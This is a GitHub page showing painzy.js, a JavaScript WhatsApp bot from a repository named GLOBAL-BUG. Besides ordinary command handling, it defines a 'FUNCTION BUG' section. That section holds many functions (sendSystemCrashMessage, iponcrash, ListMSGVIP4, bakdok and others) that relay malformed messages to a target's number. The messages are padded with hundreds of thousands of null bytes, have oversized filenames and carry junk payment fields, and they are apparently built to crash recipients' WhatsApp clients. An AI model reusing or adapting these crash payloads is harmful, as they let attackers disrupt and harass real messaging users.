forked from GlobalTechInfo/GLOBAL-BUG
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpainzy.js
2949 lines (2726 loc) ยท 117 KB
/
painzy.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
Subscribe My YouTube Channel: @GlobalTechInfo
Follow The Channel For More :https://whatsapp.com/channel/0029VagJIAr3bbVBCpEkAM07
Contact Me: https://t.me/GlobalTechInc
GitHub: https://github.com/GlobalTechInfo
Credit Qasim Ali
*/
require("./config")
const { WA_DEFAULT_EPHEMERAL, getAggregateVotesInPollMessage, generateWAMessageFromContent, proto, generateWAMessageContent, generateWAMessage, prepareWAMessageMedia, downloadContentFromMessage, areJidsSameUser, getContentType, useMultiFileAuthState, makeWASocket, fetchLatestBaileysVersion, makeCacheableSignalKeyStore, makeWaSocket } = require("@adiwajshing/baileys")
const fs = require('fs')
const util = require('util')
const axios = require('axios')
const { exec } = require("child_process")
const chalk = require('chalk')
const moment = require('moment-timezone');
const yts = require ('yt-search');
const didyoumean = require('didyoumean');
const similarity = require('similarity')
module.exports = async (Painzy, m) => {
try {
const from = m.key.remoteJid
var body = (m.mtype === 'interactiveResponseMessage') ? JSON.parse(m.message.interactiveResponseMessage.nativeFlowResponseMessage.paramsJson).id : (m.mtype === 'conversation') ? m.message.conversation : (m.mtype == 'imageMessage') ? m.message.imageMessage.caption : (m.mtype == 'videoMessage') ? m.message.videoMessage.caption : (m.mtype == 'extendedTextMessage') ? m.message.extendedTextMessage.text : (m.mtype == 'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId : (m.mtype == 'listResponseMessage') ? m.message.listResponseMessage.singleSelectReply.selectedRowId : (m.mtype == 'templateButtonReplyMessage') ? m.message.templateButtonReplyMessage.selectedId : (m.mtype == 'messageContextInfo') ? (m.message.buttonsResponseMessage?.selectedButtonId || m.message.listResponseMessage?.singleSelectReply.selectedRowId || m.text) : ""
const { smsg, fetchJson, getBuffer, fetchBuffer, getGroupAdmins, TelegraPh, isUrl, hitungmundur, sleep, clockString, checkBandwidth, runtime, tanggal, getRandom } = require('./lib/myfunc')
const { addResponList, delResponList, isAlreadyResponList, isAlreadyResponListGroup, sendResponList, updateResponList, getDataResponList } = require('./lib/respon-list');
const { isSetProses, addSetProses, removeSetProses, changeSetProses, getTextSetProses } = require('./lib/setproses');
const { isSetDone, addSetDone, removeSetDone, changeSetDone, getTextSetDone } = require('./lib/setdone');
const budy = (typeof m.text === 'string') ? m.text : '';
const prefixRegex = /^[ยฐzZ#$@*+,.?=''():โ%!ยขยฃยฅโฌฯยคฮ ฮฆ_&><`โขยฉยฎฮ^ฮฒฮฑ~ยฆ|/\\ยฉ^]/;
const prefix = prefixRegex.test(body) ? body.match(prefixRegex)[0] : '.';
const isCmd = body.startsWith(prefix);
const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : '';
const args = body.trim().split(/ +/).slice(1)
const text = q = args.join(" ")
const sender = m.key.fromMe ? (Painzy.user.id.split(':')[0]+'@s.whatsapp.net' || Painzy.user.id) : (m.key.participant || m.key.remoteJid)
const botNumber = await Painzy.decodeJid(Painzy.user.id)
const senderNumber = sender.split('@')[0]
// System User
const prem = require("./lib/premium");
let premium = JSON.parse(fs.readFileSync('./database/premium.json'));
const isCreator = (m && m.sender && [botNumber, ...global.owner].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)) || false;
// Premium
const isPremium = isCreator ? true : prem.checkPremiumUser(m.sender, premium)
const pushname = m.pushName || `${senderNumber}`
const isBot = botNumber.includes(senderNumber)
const quoted = m.quoted ? m.quoted : m
const mime = (quoted.msg || quoted).mimetype || ''
const groupMetadata = m.isGroup ? await Painzy.groupMetadata(from).catch(e => {}) : ''
const groupName = m.isGroup ? groupMetadata.subject : ''
const participants = m.isGroup ? await groupMetadata.participants : ''
const groupAdmins = m.isGroup ? await getGroupAdmins(participants) : ''
const isBotAdmins = m.isGroup ? groupAdmins.includes(botNumber) : false
const isAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false
//====================================\\
let db_respon_list = JSON.parse(fs.readFileSync('./database/list-message.json'));
let listStore = JSON.parse(fs.readFileSync('./database/list-message.json'));
let set_proses = JSON.parse(fs.readFileSync('./database/set_proses.json'));
let set_done = JSON.parse(fs.readFileSync('./database/set_done.json'));
if (m.message) {
console.log(chalk.black(chalk.bgWhite('[ Message ]')), chalk.black(chalk.bgGreen(new Date)), chalk.black(chalk.bgBlue(budy || m.mtype)) + '\n' + chalk.magenta('=> From'), chalk.green(pushname), chalk.yellow(m.sender) + '\n' + chalk.blueBright('=> To'), chalk.green(m.isGroup ? pushname : 'Private Chat', from))
}
// Gak Usah Di Apa Apain Jika Tidak Mau Error
try {
ppuser = await Painzy.profilePictureUrl(m.sender, 'image')
} catch (err) {
ppuser = 'https://cdn.pixabay.com/photo/2015/10/05/22/37/blank-profile-picture-973460_960_720.png?q=60'
}
ppnyauser = await getBuffer(ppuser)
try {
let isNumber = x => typeof x === 'number' && !isNaN(x)
let limitUser = global.limitawal.free
let user = global.db.data.users[m.sender]
if (typeof user !== 'object') global.db.data.users[m.sender] = {}
if (user) {
if (!isNumber(user.afkTime)) user.afkTime = -1
if (!('afkReason' in user)) user.afkReason = ''
if (!isNumber(user.limit)) user.limit = limitUser
} else global.db.data.users[m.sender] = {
afkTime: -1,
afkReason: '',
limit: limitUser,
}
} catch (err) {
console.log(err)
}
// respon list
if (m.isGroup && isAlreadyResponList(m.chat, body.toLowerCase(), db_respon_list)) {
var get_data_respon = getDataResponList(m.chat, body.toLowerCase(), db_respon_list)
if (get_data_respon.isImage === false) {
Painzy.sendMessage(m.chat, { text: sendResponList(m.chat, body.toLowerCase(), db_respon_list) }, {
quoted: m
})
} else {
Painzy.sendMessage(m.chat, { image: await getBuffer(get_data_respon.image_url), caption: get_data_respon.response }, {
quoted: m
})
}
}
const reSize = async(buffer, ukur1, ukur2) => {
return new Promise(async(resolve, reject) => {
let jimp = require('jimp')
var baper = await jimp.read(buffer);
var ab = await baper.resize(ukur1, ukur2).getBufferAsync(jimp.MIME_JPEG)
resolve(ab)
})
}
const fkethmb = await reSize(ppuser, 300, 300)
const virgam = fs.readFileSync(`./lib/image/virgam.png`)
const latx = fs.readFileSync(`./image/latx.png`)
const anjay = fs.readFileSync(`./image/anjay.jpg`)
const qris = fs.readFileSync(`./image/qris.jpg`)
// function resize
let jimp = require("jimp")
const resize = async (image, width, height) => {
const read = await jimp.read(image);
const data = await read.resize(width, height).getBufferAsync(jimp.MIME_JPEG);
return data;
};
// ๐๐๐๐๐
async function loading () {
var genalpa = [
"๐",
"๐๐ณ๐ข๐ด๐ฉ",
"๐๐๐๐๐๐ ๐ ๐๐ณ๐ข๐ด๐ฉ"
]
let { key } = await Painzy.sendMessage(m.chat, {text: '๐๐ข๐ด๐ช๐ฎ'})
const pickRandom = (arr) => {
return arr[Math.floor(Math.random() * arr.length)]
}
for (let i = 0; i < genalpa.length; i++) {
await sleep(10)
await Painzy.sendMessage(m.chat, {text: genalpa[i], edit: key });
}
}
//React Feature
const successreact = ['โ
']
const emooji = successreact[Math.floor(Math.random() * successreact.length)]
const starttask = (teks) => {
return Painzy.sendMessage(m.chat, { react: { text: teks, key: m.key }})
}
const fakejpg = fs.readFileSync(`./image/fake.jpg`)
// FUNCTION BUG //
const painbug = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
message: {
listResponseMessage: {
title: `GlobaL ๐ธ`
}
}
}
const painzybug = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
'message': {
"interactiveMessage": {
"header": {
"hasMediaAttachment": true,
"jpegThumbnail": fs.readFileSync(`./lib/image/virgam.png`)
},
"nativeFlowMessage": {
"buttons": [
{
"name": "review_and_pay",
"buttonParamsJson": "{\"currency\":\"USD\",\"payment_configuration\":\"\",\"payment_type\":\"\",\"transaction_id\":\"\",\"total_amount\":{\"value\":879912500,\"offset\":100},\"reference_id\":\"4N88TZPXWUM\",\"type\":\"physical-goods\",\"payment_method\":\"\",\"order\":{\"status\":\"pending\",\"description\":\"\",\"subtotal\":{\"value\":990000000,\"offset\":100},\"tax\":{\"value\":8712000,\"offset\":100},\"discount\":{\"value\":118800000,\"offset\":100},\"shipping\":{\"value\":500,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"custom-item-c580d7d5-6411-430c-b6d0-b84c242247e0\",\"name\":\"JAMUR\",\"amount\":{\"value\":1000000,\"offset\":100},\"quantity\":99},{\"retailer_id\":\"custom-item-e645d486-ecd7-4dcb-b69f-7f72c51043c4\",\"name\":\"Wortel\",\"amount\":{\"value\":5000000,\"offset\":100},\"quantity\":99},{\"retailer_id\":\"custom-item-ce8e054e-cdd4-4311-868a-163c1d2b1cc3\",\"name\":\"Pแดษชษดแดขส\",\"amount\":{\"value\":4000000,\"offset\":100},\"quantity\":99}]},\"additional_note\":\"\"}"
}
]
}
}
}
}
async function sendViewOnceMessages(jid) {
let messageContent = generateWAMessageFromContent(jid, {
'viewOnceMessage': {
'message': {
'messageContextInfo': {
'deviceListMetadata': {},
'deviceListMetadataVersion': 2
},
'interactiveMessage': proto.Message.InteractiveMessage.create({
'body': proto.Message.InteractiveMessage.Body.create({
'text': ''
}),
'footer': proto.Message.InteractiveMessage.Footer.create({
'text': ''
}),
'header': proto.Message.InteractiveMessage.Header.create({
'title': '',
'subtitle': '',
'hasMediaAttachment': false
}),
'nativeFlowMessage': proto.Message.InteractiveMessage.NativeFlowMessage.create({
'buttons': [{
'name': "cta_url",
'buttonParamsJson': "{\"display_text\":\"ร ยพยง\".repeat(50000),\"url\":\"https://www.google.com\",\"merchant_url\":\"https://www.google.com\"}"
}],
'messageParamsJson': "\0".repeat(100000)
})
})
}
}
}, {});
qio.relayMessage(jid, messageContent.message, {
'messageId': messageContent.key.id
});
}
async function sendSystemCrashMessage(jid) {
var messageContent = generateWAMessageFromContent(jid, proto.Message.fromObject({
'viewOnceMessage': {
'message': {
'interactiveMessage': {
'header': {
'title': '',
'subtitle': " "
},
'body': {
'text': "GlobaL CRASH WHATSAPP"
},
'footer': {
'text': 'xp'
},
'nativeFlowMessage': {
'buttons': [{
'name': 'cta_url',
'buttonParamsJson': "{ display_text : 'Painzy', url : , merchant_url : }"
}],
'messageParamsJson': "\0".repeat(1000000)
}
}
}
}
}), {
'userJid': jid
});
await Painzy.relayMessage(jid, messageContent.message, {
'participant': {
'jid': jid
},
'messageId': messageContent.key.id
});
}
const force = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
'message': {
"interactiveMessage": {
"header": {
"hasMediaAttachment": true,
"jpegThumbnail": anjay
},
"nativeFlowMessage": {
"buttons": [
{
"name": "review_and_pay",
"buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"name\":\"GlobaL Crash",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}`
}
]
}
}
}
}
const zpay = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
message: {
requestPaymentMessage: {
currencyCodeIso4217: 'USD',
amount1000: 999,
requestFrom: '[email protected]',
noteMessage: {
extendedTextMessage: {
text: `Msg ${m.body || m.mtype}`
}
},
expiryTimestamp: 999999999,
amount: {
value: 91929291929,
offset: 1000,
currencyCode: 'INR'
}
}
}
}
const force2 = {
key: {
participant: `[email protected]`,
...(m.chat ? {
remoteJid: "status@broadcast"
} : {})
},
'message': {
"interactiveMessage": {
"header": {
"hasMediaAttachment": true,
"jpegThumbnail": fs.readFileSync(`./lib/image/latx.png`)
},
"nativeFlowMessage": {
"buttons": [
{
"name": "review_and_pay",
"buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",,\"name\":\"โณ๏ธแทเฟอแดMODS CRASHโฎโญ ไนโฐออกุ๐๐ฉ๐โโญ๏ธแด # ใใ ึ โขโ ๏ธโ ๏ธ ๐ฉ๐๐ฅ๐ง๐๐ซ โ ๏ธโผ๏ธโโ ๏ธโผ๏ธ๐ซโผ๏ธโผ๏ธโผ๏ธใ โข๐ฅ ยฒโฐยฒโดใใ
_*โโ ๐ฉ๐๐ฅ๐ง๐๐ซโโ*_
๐ฃ๐๊ฐโขโ โ โ โ โ *_๐ฒ๐พโฬฝฬฬคฬคฬจฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬค
*ษฑฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโข๊ฐฬฏฬฏฬฏฬฏฬฏฬฏฬฏฬฏเนฬฏเนฬฏเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉออออออออออออ๐ฎฬจฬซฬซฬซฬซฬซฬซฬชฬชฬชฬชฬชฬชฬชฬชฬชฬซฬชฬซฬซฬซฬซฬซฬซฬซฬซฬซโ๊ฐ๐ฐฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬฬฬฬฬฬฬฬฬฬฬดฬดฬดฬดฬฬฬฬฬฬฬดฬดฬดฬฬฬฬฌฬฌฬฌฬฬฬฬฬฉฬฬฬฑฬฑ๊ฐ๐ถฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโขฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬหบฬคฬคฬฬคฬดฬดฬฬฬฬฬฃฬฬฬฬฬฌฬฌฬฌฬฬฬฬฬฑฬฉฬฬฌฬฬฬฬฬ๊ฐ๏ฟฝหบ๊ฐหบฬคฬคฬคฬคฬคฬคฬคฬคฬคฬฬฬฬฬฬฬฬฬฬฬฬฬฌฬฬฬฬฬฃฬฃษฑฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโข๊ฐฬฏฬฏฬฏฬฏฬฏฬฏฬฏฬฏเนฬฏเนฬฏเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉออออออออออออ๐ฎฬจฬซฬซฬซฬซฬซฬซฬชฬชฬชฬชฬชฬชฬชฬชฬชฬซฬชฬซฬซฬซฬซฬซฬซฬซฬซฬซโ๊ฐ๐ฐฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬฬฬฬฬฬฬฬฬฬฬดฬดฬดฬดฬฬฬฬฬฬฬดฬดฬดฬฬฬฬฌฬฌฬฌฬฬฬฬฬฉฬฬฬฑฬฑ๊ฐ๐ถฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโขฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬหบฬคฬคฬฬคฬดฬดฬฬฬฬฬฃฬฬฬฬฬฌฬฌฬฌฬฬฬฬฬฑฬฉฬฬฌฬฬฬฬฬ๊ฐ๏ฟฝหบ๊ฐหบฬคฬคฬคฬคฬคฬคฬคฬคฬคฬฬฬฬฬฬฬฬฬฬฬฬฬฌฬฬฬฬฬฃฬฃฬฃฬฃฬฬดฬดฬดฬฬษฑฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโข๊ฐฬฏฬฏฬฏฬฏฬฏฬฏฬฏฬฏเนฬฏเนฬฏเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉเฃฉออออออออออออ๐ฎฬจฬซฬซฬซฬซฬซฬซฬชฬชฬชฬชฬชฬชฬชฬชฬชฬซฬชฬซฬซฬซฬซฬซฬซฬซฬซฬซโ๊ฐ๐ฐฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬฬฬฬฬฬฬฬฬฬฬดฬดฬดฬดฬฬฬฬฬฬฬดฬดฬดฬฬฬฬฌฬฌฬฌฬฬฬฬฬฉฬฬฬฑฬฑ๊ฐ๐ถฬฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซฬซโโขฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬฆฬหบฬคฬคฬฬคฬดฬดฬฬฬฬฬฃฬฬฬฬฬฌฬฌฬฌฬฬฬฬฬฑฬฉฬฬฌฬฬฬฬฬ๊ฐ๏ฟฝหบ๊ฐ*หบฬคฬคฬคฬคฬคฬคฬคฬคฬคฬฬฬฬฬฬฬฬฬฬฬฬฬฌฬฬฬฬฬฃฬฃฬฃฬฃฬฬดฬดฬดฬฬ*
๐๐ฎ๐๐ฎ๐ฟ
๐๐๐๐ ๐ผ๐
๐ผ ๐๐ผ๐๐๐๐ฟ
๐ฝ๐๐๐ผ๐ ๐๐๐๐๐๐ ๐ผ๐๐๐โโฎ\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}`
}
]
}
}
}
}
async function bakdok(target, kuwoted) {
var etc = generateWAMessageFromContent(target, proto.Message.fromObject({
"documentMessage": {
"url": "https://mmg.whatsapp.net/v/t62.7119-24/40377567_1587482692048785_2833698759492825282_n.enc?ccb=11-4&oh=01_Q5AaIEOZFiVRPJrllJNvRA-D4JtOaEYtXl0gmSTFWkGxASLZ&oe=666DBE7C&_nc_sid=5e03e0&mms3=true",
"mimetype": "penis",
"fileSha256": "ld5gnmaib+1mBCWrcNmekjB4fHhyjAPOHJ+UMD3uy4k=",
"fileLength": "999999999",
"pageCount": 999999999,
"mediaKey": "5c/W3BCWjPMFAUUxTSYtYPLWZGWuBV13mWOgQwNdFcg=",
"fileName": `GlobaL DOCUMENT`+"เพง".repeat(60000),
"fileEncSha256": "pznYBS1N6gr9RZ66Fx7L3AyLIU2RY5LHCKhxXerJnwQ=",
"directPath": "/v/t62.7119-24/40377567_1587482692048785_2833698759492825282_n.enc?ccb=11-4&oh=01_Q5AaIEOZFiVRPJrllJNvRA-D4JtOaEYtXl0gmSTFWkGxASLZ&oe=666DBE7C&_nc_sid=5e03e0",
"mediaKeyTimestamp": "1715880173"
}
}), { userJid: target, quoted: kuwoted });
await Painzy.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id });
}
async function penghitaman(target, kuwoted) {
var etc = generateWAMessageFromContent(target, proto.Message.fromObject({
"stickerMessage": {
"url": "https://mmg.whatsapp.net/o1/v/t62.7118-24/f1/m233/up-oil-image-8529758d-c4dd-4aa7-9c96-c6e2339c87e5?ccb=9-4&oh=01_Q5AaIM0S5OdSlOJSYYsXZtqnZ-ifJC0XbXv3AWEfPbcBBjRJ&oe=666DA5A2&_nc_sid=000000&mms3=true",
"fileSha256": "CWJIxa1y5oks/xelBSo440YE3bib/c/I4viYkrCQCFE=",
"fileEncSha256": "r6UKMeCSz4laAAV7emLiGFu/Rup9KdbInS2GY5rZmA4=",
"mediaKey": "4l/QOq+9jLOYT2m4mQ5Smt652SXZ3ERnrTfIsOmHWlU=",
"mimetype": "image/webp",
"directPath": "/o1/v/t62.7118-24/f1/m233/up-oil-image-8529758d-c4dd-4aa7-9c96-c6e2339c87e5?ccb=9-4&oh=01_Q5AaIM0S5OdSlOJSYYsXZtqnZ-ifJC0XbXv3AWEfPbcBBjRJ&oe=666DA5A2&_nc_sid=000000",
"fileLength": "10116",
"mediaKeyTimestamp": "1715876003",
"isAnimated": false,
"stickerSentTs": "1715881084144",
"isAvatar": false,
"isAiSticker": false,
"isLottie": false
}
}), { userJid: target, quoted: kuwoted });
await Painzy.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id });
}
async function iponcrash(target) {
await Painzy.relayMessage(target, {"paymentInviteMessage": {serviceType: "FBPAY",expiryTimestamp: Date.now() + 1814400000}},{ participant: { jid: target } })
}
async function ListMSGVIP3(userJid) {
const messageContent = generateWAMessageFromContent(
userJid,
proto.Message.fromObject({
viewOnceMessage: {
message: {
interactiveMessage: {
header: {
title: '',
subtitle: 'GlobaL',
},
body: {
text: '๐',
},
footer: {
text: '๐ฎ๐๐๐๐',
},
nativeFlowMessage: {
buttons: [
{
name: 'cta_url',
buttonParamsJson: "{ display_text : '๐
๐๐๐๐๐', url : , merchant_url : }",
},
{
name: 'cta_url',
buttonParamsJson:
"{ display_text : '๐', url : , merchant_url : }",
},
{
name: 'cta_url',
buttonParamsJson:
"{ display_text : '๐ฎ๐๐๐๐', url : , merchant_url : }",
},
],
messageParamsJson: ''.repeat(999999),
},
},
},
},
}),
{ userJid: userJid }
);
await Painzy.relayMessage(userJid, messageContent.message, {
participant: { jid: userJid },
messageId: messageContent.key.id,
});
}
async function ListMSGVIP4(userJid) {
const messageContent = generateWAMessageFromContent(
userJid,
proto.Message.fromObject({
listMessage: {
title:
'ุรโ ุุรยฝุรโ ุุรยฝ' + '\0'.repeat(920000),
footerText: '',
description: '',
buttonText: null,
listType: 2,
productListInfo: {
productSections: [
{
title: 'Hemm',
products: [{ productId: '4392524570816732' }],
},
],
productListHeaderImage: {
productId: '4392524570816732',
jpegThumbnail: null,
},
businessOwnerJid: '[email protected]',
},
},
footer: 'ppq',
contextInfo: {
expiration: 604800,
ephemeralSettingTimestamp: '1679959486',
entryPointConversionSource: 'global_search_new_chat',
entryPointConversionApp: 'whatsapp',
entryPointConversionDelaySeconds: 9,
disappearingMode: { initiator: 'INITIATED_BY_ME' },
},
selectListType: 2,
product_header_info: {
product_header_info_id: 292928282928,
product_header_is_rejected: false,
},
}),
{ userJid: userJid }
);
await Painzy.relayMessage(userJid, messageContent.message, {
participant: { jid: userJid },
messageId: messageContent.key.id,
});
}
async function ngeloc(target, kuwoted) {
var etc = generateWAMessageFromContent(target, proto.Message.fromObject({
viewOnceMessage: {
message: {
"liveLocationMessage": {
"degreesLatitude": "p",
"degreesLongitude": "p",
"caption": `GlobaL ๐ Crash`+"๊ฆพ".repeat(50000),
"sequenceNumber": "0",
"jpegThumbnail": ""
}
}
}
}), { userJid: target, quoted: kuwoted })
await Painzy.relayMessage(target, etc.message, { participant: { jid: target }, messageId: etc.key.id })
}
async function bugpainz(target, kuwoted) {
var etc = generateWAMessageFromContent(target, proto.Message.fromObject({
viewOnceMessage: {
message: {
"liveLocationMessage": {
"degreesLatitude": "p",
"degreesLongitude": "p",
"caption": `โณ๏ธแทเฟอแดใใ ึ โขโ ๏ธโ ๏ธ ๐ฉ๐๐ฅ๐ง๐๐ซ โ ๏ธโผ๏ธโโ ๏ธโผ๏ธ๐ซโผ๏ธโผ๏ธโผ๏ธใ โข๐ฅ ยฒโฐยฒโดใใ
_*โโ ๐ฉ๐๐ฅ๐ง๐๐ซโโ*_
๐ฃ๐๊ฐโขโ โ โ โ โ *_๐ฒ๐พโฬฝฬฬคฬคฬจฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬคฬค
